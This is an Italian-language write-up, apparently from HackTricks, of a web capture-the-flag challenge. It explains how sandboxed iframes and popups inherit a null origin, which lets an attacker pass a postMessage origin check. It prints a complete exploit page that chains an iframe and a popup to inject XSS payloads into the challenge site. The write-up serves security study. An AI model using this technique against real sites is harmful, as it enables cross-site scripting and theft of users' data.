Bypassing SOP with Iframes - 1

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Iframes in SOP-1

In questa sfida creata da NDevTK e Terjanq devi sfruttare un XSS nel codice.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Il problema principale è che la pagina principale utilizza DomPurify per inviare il data.body, quindi per inviare i tuoi dati html a quel codice è necessario bypassare e.origin !== window.origin.

Vediamo la soluzione che propongono.

Bypass SOP 1 (e.origin === null)

Quando //example.org viene incorporato in un iframe sandboxed, l'origine della pagina sarà null, cioè window.origin === null. Quindi, semplicemente incorporando l'iframe tramite <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> potremmo forzare l'origine null.

Se la pagina fosse incorporabile, potresti bypassare quella protezione in questo modo (potrebbe essere necessario impostare i cookie su SameSite=None).

Bypass SOP 2 (window.origin === null)

Il fatto meno conosciuto è che quando il valore sandbox allow-popups è impostato, la popup aperta erediterà tutti gli attributi sandboxed a meno che non sia impostato allow-popups-to-escape-sandbox. Quindi, aprendo una popup da un origine nulla, anche l'window.origin all'interno della popup sarà null.

Soluzione della sfida

Pertanto, per questa sfida, si potrebbe creare un iframe, aprire una popup alla pagina con l'handler XSS vulnerabile (/iframe.php), poiché window.origin === e.origin perché entrambi sono null, è possibile inviare un payload che sfrutterà l'XSS.

Quel payload otterrà l'identificatore e invierà un XSS indietro alla pagina superiore (la pagina che apre la popup), che cambierà la posizione alla vulnerabile /iframe.php. Poiché l'identificatore è noto, non importa che la condizione window.origin === e.origin non sia soddisfatta (ricorda, l'origine è la popup dall'iframe che ha origine null) perché data.identifier === identifier. Quindi, l'XSS verrà attivato di nuovo, questa volta nell'origine corretta.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Last updated